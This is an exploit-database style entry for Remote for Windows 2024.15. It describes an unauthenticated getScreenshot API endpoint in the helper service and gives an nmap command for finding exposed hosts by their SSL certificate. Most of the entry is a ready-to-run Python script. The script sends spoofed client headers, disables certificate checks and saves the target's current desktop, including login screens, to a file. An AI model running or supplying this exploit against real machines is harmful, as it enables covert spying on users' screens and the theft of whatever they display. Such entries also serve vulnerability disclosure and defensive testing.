📄 Remote for Windows 2024.15 Unauthenticated Desktop Screenshot Capture

# Exploit Title: Remote for Windows 2024.15 -  Unauthenticated Desktop
    Screenshot Capture
    # Date: 2025-05-19
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://rs.ltd
    # Software Link: https://rs.ltd/latest.php?os=win
    # Version: 2024.15
    # Tested on: Windows 10/11 with Remote for Windows (helper)
    
    '''
    Description:
    - Exploits the getScreenshot API endpoint in Remote for Windows helper
    service
    - Works when "Allow unknown devices" setting is enabled (default: disabled)
    - Captures current desktop including login screens (SYSTEM-level access)
    
    Vulnerable Component:
    - /api/getScreenshot endpoint with missing authentication checks
    
    
    # Identification:
    nmap -p- -T4 <TARGET_IP> --script ssl-cert
    Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US
    '''
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    from urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    
    def capture_screenshot(ip, port, output_file):
        try:
            response = requests.get(
                f"https://{ip}:{port}/api/getScreenshot",
                headers={
                    "X-ClientToken": "exploit",
                    "X-HostName": "attacker-pc",
                    "X-HostFullModel": "exploit-device"
                },
                verify=False,
                timeout=15
            )
            if response.status_code == 200 and
    response.content.startswith(b'\xff\xd8'):
                with open(output_file, 'wb') as f:
                    f.write(response.content)
                print(f"[+] Saved: {output_file}")
                return True
            print(f"[-] Failed: HTTP {response.status_code}")
            return False
        except Exception as e:
            print(f"[-] Error: {str(e)}")
            return False
    
    if __name__ == "__main__":
        if len(sys.argv) < 4:
            print(f"Usage: {sys.argv[0]} <IP> <PORT> <output.jpg>")
            sys.exit(1)
        sys.exit(0 if capture_screenshot(sys.argv[1], sys.argv[2], sys.argv[3])
    else 1)